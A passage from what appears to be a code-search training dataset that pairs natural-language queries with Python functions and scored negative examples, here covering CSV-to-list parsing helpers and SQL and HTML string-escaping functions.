separator and field\\n\\n if (locality_comp_list != []): # Locality component - - - - - - - - - - - -\\n locality_comp = locality_comp_list[0] # Start with first field in list\\n\\n for f in locality_comp_list[1:]: # Loop over following fields (if any)\\n if (f != ''):\\n if (config.input_space_sep['locality'] == 1):\\n sep = ' ' # Set separator to space between fields\\n else:\\n sep = '' # No space between fields\\n\\n # Check field spilling only if space separator is set to ' ' \\n #\\n if (sep == ' ') and (config.input_check_spilling['locality'] == 1):\\n sep = check_field_spill(locality_comp, f)\\n\\n locality_comp = locality_comp+sep+f # Append separator and field\\n\\n if (date1_comp_list != []): # Date1 component - - - - - - - - - - - - - - -\\n date1_comp = date1_comp_list[0] # Start with first field in list\\n\\n for f in date1_comp_list[1:]: # Loop over following fields (if any)\\n if (f != ''):\\n if (config.input_space_sep['date1'] == 1):\\n sep = ' ' # Set separator to space between fields\\n else:\\n sep = '' # No space between fields\\n\\n # Check field spilling only if space separator is set to ' ' \\n #\\n if (sep == ' ') and (config.input_check_spilling['date1'] == 1):\\n if (date1_comp[-1] != ' ') and (f[0] != ' '):\\n tmp_list0 = date1_comp.split()\\n tmp_list1 = f.split()\\n check_word = tmp_list0[-1]+tmp_list1[0]\\n\\n if (check_word in ['jan','feb','mar','apr','may','jun','jul','aug', \\\\\\n 'sep','oct','nov','dec','january','february','march','april', \\\\\\n 'may','june','july','august','september','october','november', \\\\\\n 'december']):\\n\\n sep = '' # Set separator to no space\\n msg = ' Correct date1 word spilling: \\\"'+date1_comp+'\\\",\\\"'+f+'\\\"'\\n log_message(msg,'v1')\\n\\n date1_comp = date1_comp+sep+f # Append separator and field\\n\\n if (date2_comp_list != []): # Date2 component - - - - - - - - - - - - - - -\\n date2_comp = date2_comp_list[0] # Start with first field in list\\n\\n for f in date2_comp_list[1:]: # Loop over following fields (if any)\\n if (f != ''):\\n if (config.input_space_sep['date2'] == 1):\\n sep = ' ' # Set separator to space between fields\\n else:\\n sep = '' # No space between fields\\n\\n # Check field spilling only if space separator is set to ' ' \\n #\\n if (sep == ' ') and (config.input_check_spilling['date2'] == 1):\\n if (date2_comp[-1] != ' ') and (f[0] != ' '):\\n tmp_list0 = date1_comp.split()\\n tmp_list1 = f.split()\\n check_word = tmp_list0[-1]+tmp_list1[0]\\n\\n if (check_word in ['jan','feb','mar','apr','may','jun','jul','aug', \\\\\\n 'sep','oct','nov','dec','january','february','march','april', \\\\\\n 'may','june','july','august','september','october','november', \\\\\\n 'december']):\\n\\n sep = '' # Set separator to no space\\n msg = ' Correct date1 word spilling: \\\"'+date1_comp+'\\\",\\\"'+f+'\\\"'\\n log_message(msg,'v1')\\n\\n date2_comp = date2_comp+sep+f # Append separator and field\\n\\n # Check if name component is given or givenname and surname separately - - -\\n #\\n if (config.input_component['givenname'] != []) or \\\\\\n (config.input_component['surname'] != []):\\n name_comp = [givenname_comp, surname_comp]\\n\\n msg = [' Components:', \\\\\\n ' Name: \\\"'+str(name_comp)+'\\\"', \\\\\\n ' Geocode: \\\"'+geocode_comp+'\\\"', \\\\\\n ' Locality: \\\"'+locality_comp+'\\\"', \\\\\\n ' Date1: \\\"'+date1_comp+'\\\"', \\\\\\n ' Date2: \\\"'+date2_comp+'\\\"']\\n log_message(msg,'v1')\\n\\n return [name_comp, geocode_comp, locality_comp, date1_comp, date2_comp]\",\n \"def parse_normalized(line):\\n return line.strip().split(',')\",\n \"def csv_file_to_list(filename, config=None):\\n output_list = []\\n with open(filename) as f:\\n reader= csv.DictReader(f)\\n for line in reader:\\n output_list.append(line)\\n return output_list\",\n \"def csvwrite(inlist, stringify=False):\\n out_list = []\\n for entry in inlist:\\n if stringify:\\n new_entry = []\\n for val in entry:\\n if not isinstance(val, basestring):\\n val = str(val)\\n new_entry.append(val)\\n entry = new_entry\\n this_line = ', '.join([elem_quote(val) for val in entry])\\n out_list.append(this_line)\\n return out_list\",\n \"def _read_csv(cls, input_file, quotechar=None):\\n with open(input_file, \\\"r\\\", encoding=\\\"utf-8-sig\\\") as f:\\n return list(csv.reader(f, delimiter=\\\",\\\", quotechar=quotechar))\",\n \"def _read_csv(cls, input_file, quotechar=None):\\n with open(input_file, \\\"r\\\", encoding=\\\"utf-8-sig\\\") as f:\\n return list(csv.reader(f, delimiter=\\\",\\\", quotechar=quotechar))\",\n \"def parse_line(line):\\n tok = line.replace('[', '').replace(']', '').split(', ')\\n list = [tok[0]]\\n tok = tok[1:]\\n temp = list\\n parse_line_helper(temp, tok)\\n return list\",\n \"def csv_reader(file_obj):\\n\\tdata = []\\n\\treader = csv.reader(file_obj)\\n\\tfor x in reader:\\n\\t\\tdata.append(float(\\\" \\\".join(x)))\\t\\n\\t\\n\\treturn data\",\n \"def line2Token(linein):\\n#\\t\\\"\\\"\\\" input=readlines() output=token\\\"\\\"\\n\\tlistout = []\\n\\tfor s in linein:\\n\\t\\tif s==\\\"\\\":\\n\\t\\t\\tcontinue\\n\\t\\ts = string.replace(s,'\\\\n','')\\n\\t\\ts = string.replace(s,',',' ')\\n s = string.replace(s,'=',\\\"= \\\")\\n\\t\\ts = string.replace(s,':',\\\": \\\")\\n\\n\\t\\tlista=string.split(s)\\n\\t\\tfor x in lista:\\n\\t\\t\\tif x<>\\\"\\\":\\n\\t\\t\\t\\tlistout.append(x)\\n\\n\\treturn listout\",\n \"def create_list(input_str):\\n input_str = input_str.replace(\\\"[\\\", \\\"\\\")\\n input_str = input_str.replace(\\\"]\\\", \\\"\\\")\\n new_list = input_str.split(\\\",\\\")\\n\\n if \\\"\\\" in new_list:\\n return []\\n\\n for pos in range(0, len(new_list)):\\n new_list[pos] = str(new_list[pos]).strip()\\n\\n return new_list\",\n \"def csvtolist(csvfile, column_header='Organism'):\\n\\n file = pd.read_csv(csvfile)\\n # Create a list name/variable and use list()\\n listfromcolumn = list(file[column_header])\\n\\n return listfromcolumn\",\n \"def read_csv_to_list(in_file, headless=True, delim='\\\\t'):\\n ret_list=list()\\n with open(in_file,'r') as csv_file:\\n my_reader = csv.reader(csv_file, delimiter=delim) \\n if headless:\\n next(my_reader)\\n for row in my_reader:\\n ret_list.append(list(row))\\n return(ret_list)\",\n \"def lines_into_list(line):\\n\\n words = line.rstrip().split('|')\\n return words\",\n \"def _listify_input(self, input_string):\\n stripped_string = re.sub(r'\\\\s+', '', input_string.strip())\\n split_list = stripped_string.split(\\\",\\\")\\n return [(x[0], int(x[1::])) for x in split_list]\",\n \"def getcsv(self, section, option):\\n elements = self.get(section, option)\\n splitter = ',' if ',' in elements else None\\n return [element.strip() for element in elements.split(splitter)]\",\n \"def line_split(self, line):\\n\\t\\tline = re.sub(r\\\"`(.*?)'\\\", quote_replace, line)\\n\\t\\tline = line.translate(None, '.:,()+*')\\n\\t\\treturn line.split()\",\n \"def _to_list( self, input ):\\n import numpy\\n listtypes = (list, tuple, numpy.ndarray)\\n if input == None:\\n return None\\n elif type(input) in listtypes:\\n return list(input)\\n else:\\n return [input]\",\n \"def __obtain_data_from_csv__(self, csvfile):\\n data = csvfile.readlines()\\n data = self.__parse_string_for_delimiter__(data)\\n return data\",\n \"def read_csv():\",\n \"def _read_csv(cls, input_file, quotechar=None):\\n with open(input_file, \\\"r\\\", encoding=\\\"utf-8-sig\\\") as f:\\n return list(csv.reader(f, delimiter=\\\"\\\\n\\\", quotechar=quotechar))\",\n \"def csv_to_list(path):\\n features = {}\\n with open(path, newline='', encoding='utf-8-sig', errors=\\\"ignore\\\") as csvfile:\\n for row in csv.reader(csvfile, delimiter=',', quotechar='|'):\\n features[row[0]] = list(map(float, row[1:]))\\n csvfile.close()\\n\\n results = []\\n # for i in range(len(listFeatures)):\\n # # results.append(listFeatures[i][-1])\\n # listFeatures[i]=listFeatures[i][:len(listFeatures[i])-1]\\n\\n return results, features\",\n \"def to_list(value):\\n if hasattr(value, '__iter__') and not isinstance(value, str):\\n return list(value)\\n return [value]\",\n \"def _convert_to_list(self, input_argument):\\n if type(input_argument) is not list:\\n input_argument = [input_argument]\\n return input_argument\",\n \"def _coerce_list(self, thing):\\n\\t\\tif isinstance(thing, basestring):\\n\\t\\t\\treturn list((thing,))\\n\\n\\t\\treturn list(thing)\",\n \"def _to_list(obj):\\n if not isinstance(obj, list):\\n return [obj]\\n else:\\n return obj\",\n \"def stringToList(txt):\\r\\n txt1 = toTypeOrNone(txt)\\r\\n if txt1 is None:\\r\\n return []\\r\\n list_ = [item.strip() for item in txt.split(\\\",\\\")]\\r\\n listWithNones = map(toTypeOrNone, list_)\\r\\n if any(True for x in listWithNones if x is not None):\\r\\n return list_\\r\\n return []\",\n \"def values(line):\\n return [v.strip() or None for v in text(line).split(',')]\",\n \"def CSV(id_poke):\\r\\n poke = [] #creer une liste vide\\r\\n with open('BDD/pokemon.csv') as csv_file: #ouvre le fichier pokemon.csv\\r\\n csv_reader = csv.reader(csv_file, delimiter=',') #place les lignes du csv dans une variable\\r\\n for row in csv_reader: #parcours des lignes du csv\\r\\n if row[0] == str(id_poke): #si l'id de la ligne = id du pokemon\\r\\n poke = list(row) #variable = ligne correspondante dans le csv\\r\\n return(poke) #retourne une liste avec les caracteristiques du poke\\r\",\n \"def aslist(value, flatten=True):\\n values = aslist_cronly(value)\\n if not flatten:\\n return values\\n result = []\\n for value in values:\\n subvalues = value.split()\\n result.extend(subvalues)\\n return result\",\n \"def str_list(x):\\n #import ast\\n #x = ast.literal_eval(x)\\n x = x.strip('][').split(', ')\\n x1 = [n.strip('\\\\'') for n in x]\\n return (x1)\",\n \"def csv_parser(s):\\n\\n # Data is our output. It will be a list of lists.\\n\\n # Split csv into lines and store them in a list called 'lines'.\\n \\n # Remove the first element from lines, so that you have only the data lines left.\\n \\n # At this stage, we loop through the list called lines.\\n # As you loop\\n # i. split each line on the commas;\\n # ii. convert the Subject variable to int.\\n # iii. convert the Height variable to float.\\n # iv. add to data a list consisting of this line's Subject, Height, and Occupation values \",\n \"def convert_string_to_list(key, data, errors, context): # noqa\\n value = data.get(key, None)\\n\\n if not value:\\n return\\n\\n if not isinstance(value, basestring):\\n return\\n\\n if not value.startswith('{') or not value.endswith('}'):\\n return\\n\\n value = value.replace('\\\"', '')\\n data[key] = value[1:len(value)-1].split(',')\",\n \"def __parse_line(self, line: str) -> list:\\n row = line.split(' ')\\n for i in range(len(row)-1):\\n row[i] = int(row[i])\\n row = row[0:-1]\\n return row\",\n \"def tolist(self, flat=0):\\n pass\",\n \"def safelist(listable):\\n if type(listable) == str:\\n return [listable]\\n else:\\n return listable.tolist()\",\n \"def splitlines(self) -> List[String]:\\n pass\",\n \"def parse_csv_input(input_file): # {{{\\n parsed_infile = []\\n try:\\n with open(input_file) as infile:\\n for line in csv.reader(infile):\\n parsed_infile.append(line)\\n\\n temp_object_storage = []\\n\\n for line_index, line in enumerate(parsed_infile[1:]):\\n temp_object_storage.append({})\\n for category_index, category in enumerate(parsed_infile[0]):\\n if category_index == 0:\\n category = category[3:]\\n temp_object_storage[line_index][category] = line[category_index]\\n\\n return temp_object_storage\\n except FileNotFoundError as excep:\\n LOGGER.info(\\\"error parsing csv file: %s\\\", excep) # }}}\",\n \"def leer_linea(archivo):\\n linea = archivo.readline()\\n lista_linea = linea.rstrip('\\\\n').split(',')\\n \\n return lista_linea\",\n \"def _read_csv(input_file):\\n with tf.gfile.Open(input_file, \\\"r\\\") as f:\\n reader = csv.reader(f)\\n lines = []\\n for line in reader:\\n lines.append(line)\\n return lines[1:] # remove header\",\n \"def prepare_data(self, lines: List[str]) -> List[str]:\\n if self.is_tokenized:\\n if self.parser == \\\"spacy\\\":\\n lines = [l.split() for l in lines]\\n elif self.parser == \\\"udpipe\\\":\\n lines = [[l.split()] for l in lines]\\n\\n return lines\",\n \"def _to_list(self, file_str):\\n data_list = file_str.split()\\n return data_list\",\n \"def to_csv_line(*args):\\r\\n return ','.join([str(value) for value in args]) + '\\\\n'\",\n \"def parse_csv2list_hdfs(file_path):\\n file_df = h2o.import_file(path=file_path, header=1, sep=',')\\n file_df = file_df[:, :2].ascharacter()\\n csv_list = h2o.as_list(file_df, use_pandas=False, header=True)\\n csv_list = [[j.strip() for j in i] for i in csv_list]\\n return csv_list\",\n \"def list_process(field, item_list:List[str]):\\n # if isinstance(item_list, list):\\n if len(item_list) == 0:\\n return {\\n\\n }\\n saved_list = []\\n\\n for i in item_list:\\n saved_list.append(f\\\"{i}\\\")\\n return {\\n field: \\\",\\\".join(saved_list)\\n }\",\n \"def tolist(x):\\n return x if isinstance(x, list) else [x]\",\n \"def comma_separated_list(model):\\n return \\\", \\\".join(model)\",\n \"def _providers_string_to_list(val):\\n # Use a set to remove duplicates\\n if type(val) == str:\\n return list(set(val.replace(' ', '').split(',')))\\n return list(set(val))\",\n \"def to_list(x):\\n import collections\\n if not isinstance(x, collections.Iterable) or isinstance(x, str):\\n x = [x]\\n return x\",\n \"def file_to_list(path: str):\\n files = []\\n with open(path, \\\"r\\\") as file_handler:\\n for line in file_handler.readlines():\\n split = line.split(\\\",\\\")\\n files.append((split[1], split[2].replace(\\\"\\\\n\\\", \\\"\\\")))\\n\\n return files\",\n \"def column_to_list(column):\\n column = column.tolist()\\n column_string = \\\"\\\"\\n for i in range(len(column)):\\n current_row = column[i]\\n try:\\n column_string = column_string + current_row + \\\" \\\"\\n except:\\n pass\\n column_list = column_string.split()\\n return column_list\",\n \"def LoadList(strfile, separator=',', codec='utf-8'):\\n\\n def todecimal(value):\\n try:\\n return float(value)\\n except:\\n return value\\n\\n import csv\\n import codecs\\n # Read all CSV data:\\n csvdata = []\\n #with open(strfile) as csvfile:\\n with codecs.open(strfile, \\\"r\\\", codec) as csvfile:\\n csvread = csv.reader(csvfile, delimiter=separator, quotechar='|')\\n for row in csvread:\\n row_nums = [todecimal(i) for i in row]\\n csvdata.append(row_nums)\\n return csvdata\",\n \"def csv(sFilename, fun):\\n f = io.open(sFilename)\\n while True:\\n s = f.readline().rstrip()\\n if s:\\n t = []\\n for s1 in re.findall(\\\"([^,]+)\\\", s):\\n t.append(coerce(s1))\\n fun(t)\\n else:\\n return f.close()\",\n \"def csv(sFilename, fun):\\n f = io.open(sFilename)\\n while True:\\n s = f.readline().rstrip()\\n if s:\\n t = []\\n for s1 in re.findall(\\\"([^,]+)\\\", s):\\n t.append(coerce(s1))\\n fun(t)\\n else:\\n return f.close()\",\n \"def as_list(obj):\\n return obj if isinstance(obj, list) else [obj]\",\n \"def aslist(something):\\n return something if isinstance(something, list) else [something]\",\n \"def format_string_to_list(self, avi_string):\\n\\n repls = ('[', ''), (']', ''), (\\\"'\\\", \\\"\\\")\\n avi_string = reduce(lambda a, kv: a.replace(*kv), repls, avi_string)\\n return avi_string.split(',')\",\n \"def read_csv(filename):\\n with open(filename) as csv:\\n return [csv_line.strip().split(',') for csv_line in csv]\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.75949764","0.7164469","0.68289167","0.6725227","0.6720052","0.6612868","0.6583956","0.64902407","0.641971","0.63536537","0.63398874","0.6332436","0.63174677","0.6312271","0.628587","0.6243127","0.6242734","0.6242734","0.6237079","0.6194998","0.617001","0.61699724","0.61411935","0.6139518","0.61238325","0.61224514","0.6094866","0.60829663","0.60797167","0.60733247","0.606612","0.6060557","0.60570824","0.60435617","0.603759","0.60297227","0.60188633","0.60174286","0.6016791","0.6016562","0.5997669","0.5997021","0.59883356","0.597888","0.5974084","0.5948573","0.5944377","0.5927253","0.5927253","0.59244907","0.591992","0.59025985","0.58994204","0.58884394","0.5887367","0.5874119","0.5869867","0.5852918","0.5848795","0.5848174","0.58320224","0.5818409","0.5763407","0.57531124","0.5743178","0.57391346","0.57186806","0.57184815","0.57169145","0.5713321","0.57073224","0.57017374","0.5672914","0.566518","0.5664945","0.566001","0.56579584","0.56520134","0.5637123","0.5629125","0.56208366","0.5619692","0.56104267","0.56057435","0.56048954","0.5602158","0.56000495","0.5598382","0.55808717","0.5578293","0.55717653","0.55673003","0.55653584","0.5530929","0.55243343","0.55243343","0.5509495","0.5506998","0.5505697","0.5503685"],"string":"[\n \"0.75949764\",\n \"0.7164469\",\n \"0.68289167\",\n \"0.6725227\",\n \"0.6720052\",\n \"0.6612868\",\n \"0.6583956\",\n \"0.64902407\",\n \"0.641971\",\n \"0.63536537\",\n \"0.63398874\",\n \"0.6332436\",\n \"0.63174677\",\n \"0.6312271\",\n \"0.628587\",\n \"0.6243127\",\n \"0.6242734\",\n \"0.6242734\",\n \"0.6237079\",\n \"0.6194998\",\n \"0.617001\",\n \"0.61699724\",\n \"0.61411935\",\n \"0.6139518\",\n \"0.61238325\",\n \"0.61224514\",\n \"0.6094866\",\n \"0.60829663\",\n \"0.60797167\",\n \"0.60733247\",\n \"0.606612\",\n \"0.6060557\",\n \"0.60570824\",\n \"0.60435617\",\n \"0.603759\",\n \"0.60297227\",\n \"0.60188633\",\n \"0.60174286\",\n \"0.6016791\",\n \"0.6016562\",\n \"0.5997669\",\n \"0.5997021\",\n \"0.59883356\",\n \"0.597888\",\n \"0.5974084\",\n \"0.5948573\",\n \"0.5944377\",\n \"0.5927253\",\n \"0.5927253\",\n \"0.59244907\",\n \"0.591992\",\n \"0.59025985\",\n \"0.58994204\",\n \"0.58884394\",\n \"0.5887367\",\n \"0.5874119\",\n \"0.5869867\",\n \"0.5852918\",\n \"0.5848795\",\n \"0.5848174\",\n \"0.58320224\",\n \"0.5818409\",\n \"0.5763407\",\n \"0.57531124\",\n \"0.5743178\",\n \"0.57391346\",\n \"0.57186806\",\n \"0.57184815\",\n \"0.57169145\",\n \"0.5713321\",\n \"0.57073224\",\n \"0.57017374\",\n \"0.5672914\",\n \"0.566518\",\n \"0.5664945\",\n \"0.566001\",\n \"0.56579584\",\n \"0.56520134\",\n \"0.5637123\",\n \"0.5629125\",\n \"0.56208366\",\n \"0.5619692\",\n \"0.56104267\",\n \"0.56057435\",\n \"0.56048954\",\n \"0.5602158\",\n \"0.56000495\",\n \"0.5598382\",\n \"0.55808717\",\n \"0.5578293\",\n \"0.55717653\",\n \"0.55673003\",\n \"0.55653584\",\n \"0.5530929\",\n \"0.55243343\",\n \"0.55243343\",\n \"0.5509495\",\n \"0.5506998\",\n \"0.5505697\",\n \"0.5503685\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.6869202"},"document_rank":{"kind":"string","value":"2"}}},{"rowIdx":82190,"cells":{"query":{"kind":"string","value":"(obj, str) > str Escape symbols to be used in sql statements."},"document":{"kind":"string","value":"def escapeinput_data_for_sql(self, value, sql_type):\n\t\t# print value\n\t\tvalue = value.replace('\\'', '\"')\n\t\tvalue = value.replace(',', '_')\n\t\t\n\t\tif len(value) == 0:\n\t\t\tif sql_type in ('BIGINT', 'INTEGER', 'FLOAT', 'DOUBLE'):\n\t\t\t\treturn '0'\n\t\t\tif sql_type == 'NVARCHAR':\n\t\t\t\treturn '\\'\\''\n\t\telse:\n\t\t\tif sql_type in ('BIGINT', 'INTEGER', 'FLOAT', 'DOUBLE'):\n\t\t\t\t# return value\n\t\t\t\treturn '\\'' + value + '\\''\n\t\t\tif sql_type == 'NVARCHAR':\n\t\t\t\treturn '\\'' + value + '\\''\n\n\t\treturn '\\'' + value + '\\''"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def escape(self, expr):\n return mysql.connector.conversion.MySQLConverter().escape(expr)","def quote(self, expr):\n return \"'\" + self.escape(str(expr)) + \"'\"","def escape(self):\n pass","def mysql_quote(x):\n if not x:\n return \"NULL\"\n x = x.replace(\"\\\\\", \"\\\\\\\\\")\n x = x.replace(\"'\", \"''\")\n x = x.replace(\"\\n\", \"\\\\n\")\n return \"'{}'\".format(x)","def _escape(arg):\n if type(arg) == str:\n arg = \"'%s'\" % _escape_string(arg)\n elif type(arg) == unicode:\n arg = \"'%s'\" % _escape_string(arg).encode('utf8')\n elif arg is None:\n arg = 'null'\n else:\n arg = str(arg)\n return arg","def _escape(self,text):\n\t\tif not text: return \"_\" # escape empty string\n\t\ttext = text.replace(\"_\",\"__\") # escape underscores\n\t\ttext = text.replace(\" \",\"_\") # escape spaces\n\t\ttext = text.replace(\"-\",\"--\") # escape dashes\n\t\ttext = text.replace(\"''\",'\"') # escape double quote\n\t\ttext = text.replace(\"?\",\"~q\") # escape question marks\n\t\ttext = text.replace(\"%\",\"~p\") # escape question marks\n\t\ttext = text.replace(\"#\",\"~h\") # escape question marks\n\t\ttext = text.replace(\"/\",\"~s\") # escape question marks\n\t\treturn text","def myescape(str):\n\tif str is not None:\n\t\treturn str.replace('&', '&').replace('<', '<')\n\telse:\n\t\treturn \"\"","def esc_quotes(strng):\n\n return strng.replace('\"','\\\\\"').replace(\"'\",\"\\\\'\")","def QuotedEscaped (s):\n return repr(s)","def _escape(s):\n assert isinstance(s, str), \\\n \"expected %s but got %s; value=%s\" % (type(str), type(s), s)\n s = s.replace(\"\\\\\", \"\\\\\\\\\")\n s = s.replace(\"\\n\", \"\\\\n\")\n s = s.replace(\"\\t\", \"\\\\t\")\n s = s.replace(\",\", \"\\t\")\n return s","def encodeLiteral(self, string):\r\n return string.replace(\"'\",\"''\")","def escape(orig):\n return '\"{}\"'.format(orig.replace('\\\\', '\\\\\\\\').replace('\"', '\\\\\"'))","def escape_string(text):\n return escape(text)","def format_sql_str(statement):\n replace_strs = [\"]\", \"[a\", \"\\r\\n\"]\n for replace_str in replace_strs:\n statement = statement.replace(replace_str, \"\")\n return statement","def esc_kw(kw):\n kw = kw.replace('\\\\', '\\\\\\\\') # be sure to do this first, as we inject \\!\n kw = kw.replace('(', '\\(')\n kw = kw.replace(')', '\\)')\n kw = kw.replace('+', '\\+')\n kw = kw.replace('-', '\\-')\n kw = kw.replace(':', '\\:')\n kw = kw.replace('/', '\\/')\n kw = kw.replace(']', '\\]')\n kw = kw.replace('[', '\\[')\n kw = kw.replace('*', '\\*')\n kw = kw.replace('?', '\\?')\n kw = kw.replace('{', '\\{')\n kw = kw.replace('}', '\\}')\n kw = kw.replace('~', '\\~')\n\n\n return kw","def _quote(self, arg):\n arg = arg.replace('\\\\', '\\\\\\\\')\n arg = arg.replace('\"', '\\\\\"')\n return '\"%s\"' % arg","def safe_str(self, string):\n return self.db.escape_string(string)","def _escape(var):\n return f\"({re.escape(var)})\"","def escapeEncode(s: unicode) -> unicode:\n ...","def escape(self, value) -> str:\n def to_str(val):\n if isinstance(val, bytes):\n val = val.decode('utf-8')\n return QuotedString(val).getquoted().decode('utf-8')\n func = self.python_type\n if isinstance(value, (datetime.datetime, datetime.date)):\n value = str(value)\n func = to_str\n if issubclass(self.python_type, str):\n func = to_str\n return func(value)","def getquoted(self):\n if self.is_geometry:\n # Psycopg will figure out whether to use E'\\\\000' or '\\000'.\n return b\"%s(%s)\" % (\n b\"ST_GeogFromWKB\" if self.geography else b\"ST_GeomFromEWKB\",\n sql.quote(self.ewkb).encode(),\n )\n else:\n # For rasters, add explicit type cast to WKB string.\n return b\"'%s'::raster\" % self.ewkb.hex().encode()","def sqlify(obj):\n # because `1 == True and hash(1) == hash(True)`\n # we have to do this the hard way...\n\n if obj is None:\n return 'NULL'\n elif obj is True:\n return \"'t'\"\n elif obj is False:\n return \"'f'\"\n elif isinstance(obj, long):\n return str(obj)\n elif datetime and isinstance(obj, datetime.datetime):\n return repr(obj.isoformat())\n else:\n if isinstance(obj, unicode): obj = obj.encode('utf8')\n return repr(obj)","def escape(self, escape_func, quote_func=quote_spaces):\n\n if self.is_literal():\n return escape_func(self.data)\n elif ' ' in self.data or '\\t' in self.data:\n return quote_func(self.data)\n else:\n return self.data","def _escapeString(self, value):\n if '\"' in value and \"'\" in value:\n substrings = value.split(\"\\\"\")\n result = [\"concat(\"]\n for substring in substrings:\n result.append(\"\\\"%s\\\"\" % substring)\n result.append(\", '\\\"', \")\n result = result[0:-1]\n if value.endswith('\"'):\n result.append(\", '\\\"'\")\n return \"\".join(result) + \")\"\n\n if '\"' in value:\n return \"'%s'\" % value\n return \"\\\"%s\\\"\" % value","def ansi_escape(text: object) -> str:\n return str(text).replace(\"\\x1b\", \"?\").replace(\"\\b\", \"?\")","def test_symlit_escape():\n return \"\\\"=\\\"\"","def safe_str(obj):\n try:\n return str(obj)\n except UnicodeEncodeError:\n # obj is unicode\n return unicode(obj).encode('unicode_escape')","def safe_str(obj):\n try:\n return str(obj)\n except UnicodeEncodeError:\n # obj is unicode\n return unicode(obj).encode('unicode_escape')","def safe_str(obj):\n try:\n return str(obj)\n except UnicodeEncodeError:\n # obj is unicode\n return unicode(obj).encode('unicode_escape')","def escape(text):\n return text_type(text).replace('&', '&').replace('<', '<').replace('>', '>')","def shQuote(text):\n\treturn \"'%s'\" % text.replace(\"'\", r\"'\\''\")","def html_escape(text):\n return escape(text, escape_table)","def escape(x):\n if '\\'' not in x:\n return '\\'' + x + '\\''\n s = '\"'\n for c in x:\n if c in '\\\\$\"`':\n s = s + '\\\\'\n s = s + c\n s = s + '\"'\n return s","def escapeXml(obj):\n\treturn str(obj).replace(\"&\", \"&\").replace(\"<\", \"<\").replace(\">\", \">\")","def _escape_backticks(text: str, escape_with='\\u200b'):\r\n return text.replace('`', '`'+escape_with)","def cypher_escape(identifier, **kwargs):\n if not isinstance(identifier, string_types):\n raise TypeError(type(identifier).__name__)\n encoder = CypherEncoder(**kwargs)\n return encoder.encode_key(identifier)","def escape(s):\r\n return str(s).replace('<', '<').replace('>', '>')","def escape(self, text, escape_chars):\n _bs = \"\\\\\"\n # backslash is always escaped\n text = text.replace(_bs, _bs * 2)\n for _el in escape_chars:\n assert _el != _bs, \"Backslash has been already escaped\"\n text = text.replace(_el, _bs + _el)\n return text","def as_expression(self):\n data = [(key,self.__dict__[key]) for key in self.FIELDS]\n items = []\n for (key,value) in data:\n if isinstance(value,types.UnicodeType):\n value = value.encode('utf-8')\n if isinstance(value,types.StringTypes):\n value = trim_value(value)\n if isinstance(value,types.StringType):\n items.append(\"'%s': %s\" % (key,quote(value)))\n else:\n items.append(\"'%s': %s\" % (key,str(value)))\n r = '{\\n%s\\n}' % ',\\n'.join(items)\n return r","def escape(text):\n return text.replace('&', '&'). \\\n replace('<', '<'). \\\n replace('>', '>').replace('\"', '"'). \\\n replace(\"'\", ''')","def escape_quote(text):\n return text_type(text).replace('&', '&').replace('<', '<').replace('>', '>').replace('\"', '"')","def js_str(something):\n if isinstance(something, unicode):\n text = something\n elif isinstance(something, str):\n text = unicode(something, 'utf-8')\n else:\n text = unicode(something)\n return \"'\" + text.replace(\"'\", \"\\\\'\").replace('\"', '\\\\\"').replace(\"\\n\", \"\\\\n\") + \"'\"","def fmt(self, val):\n if type(val) in self.QUOTABLE_TYPES:\n s = decode_string(val)\n return u\"{0}{1}{2}\".format(self.quotechar, s, self.quotechar)\n else:\n return decode_string(str(val))","def safe(e):\n if PY2 and isinstance(e, unicode):\n return quote(e.encode('utf-8'), safe='')\n else:\n return quote(str(e), safe='')","def escape(text: str) -> str:\n\n def replace(match_obj):\n \"\"\"\n Returns the match text prefixed with backslash\n\n :param re.match match_obj: The match.\n\n :rtype: str\n \"\"\"\n return '\\\\' + match_obj.group(0)\n\n return re.sub(r'[\\\\{}]', replace, text)","def sql(self, quoted=True):\n if quoted:\n return '\"%s\"' % MySQLdb.escape_string(str(self.data))\n else:\n return '%s' % MySQLdb.escape_string(str(self.data))","def astr(obj):\n\treturn unicode(obj).encode(\"ascii\", \"replace\")","def _escapeArg(arg):\n #XXX There is a *lot* more that we should escape here.\n return arg.replace('\"', r'\\\"')","def encodeText(text):\r\n#\treturn repr( quote_plus(text.replace(\"'\", '\"')) )\r\n\ttry:\r\n\t\treturn repr( quote_plus(text.replace(\"'\", '\"').encode('utf-8')) )\r\n\texcept:\r\n\t\tlogError(\"encodeText()\")\r\n\treturn repr(text.replace(\"'\", '\"'))","def esc(matchObj):\n if matchObj.group(1) == None: # no tags found\n return u'<xsl:text>%s</xsl:text>' % \\\n escape(matchObj.group(3), escDict)\n if matchObj.group(1): # leading text and tag\n return u'<xsl:text>%s</xsl:text>%s' % \\\n (escape(matchObj.group(1), escDict), matchObj.group(2))\n return matchObj.group(2) # tag only","def quote(s):\n return unescape(quoteattr(s))","def embeded_triple_quotes():\n pass","def __str__(self):\n return \"\\\"%s\\\"\" % self.__string","def quote(value):\n return DoubleQuotedScalarString(value)","def escape_latex_characters(line):\n line = line.replace('\\\\', '\\\\textbackslash')\n line = line.replace('&', '\\&')\n line = line.replace('%', '\\%')\n line = line.replace('$', '\\$')\n line = line.replace('#', '\\#')\n line = line.replace('_', '\\_')\n line = line.replace('{', '\\{')\n line = line.replace('}', '\\}')\n line = line.replace('~', '\\\\textasciitilde')\n line = line.replace('^', '\\\\textasciicircum')\n line = line.replace('<', '\\\\textless')\n line = line.replace('>', '\\\\textgreater')\n return line","def EscapeDelimiters(s):\r\n \r\n result = s.replace(\";\", \"\\\\\")\r\n result = result.replace(\"|\", \"|\\\\\")\r\n \r\n return result","def encode_parameters(self, text):\n return quote_plus(text, safe='=:&\"')","def escape_cell(cell):\n cell = cell.replace(u'\\\\', u'\\\\\\\\')\n cell = cell.replace(u'\\n', u'\\\\n')\n cell = cell.replace(u'|', u'\\\\|')\n return cell","def html_escape(text):\r\n\treturn \"\".join(html_escape_table.get(c,c) for c in text)","def _escape_identifier(self, value):\n\n return value.replace('\"', '\"\"')","def escape(self,s):\n\t\ts = s.replace('&', '&').replace('<', '<').replace('>', '>')\n\t\ts = s.replace('\"','').replace(\"'\",\"\")\n\t\treturn ''.join([c for c in s if ord(c) > 0x1F])","def escape(value):\n if value == \"*\":\n return value\n elif isinstance(value, str):\n return \"'{}'\".format(value.replace(\"'\", \"``\"))\n elif 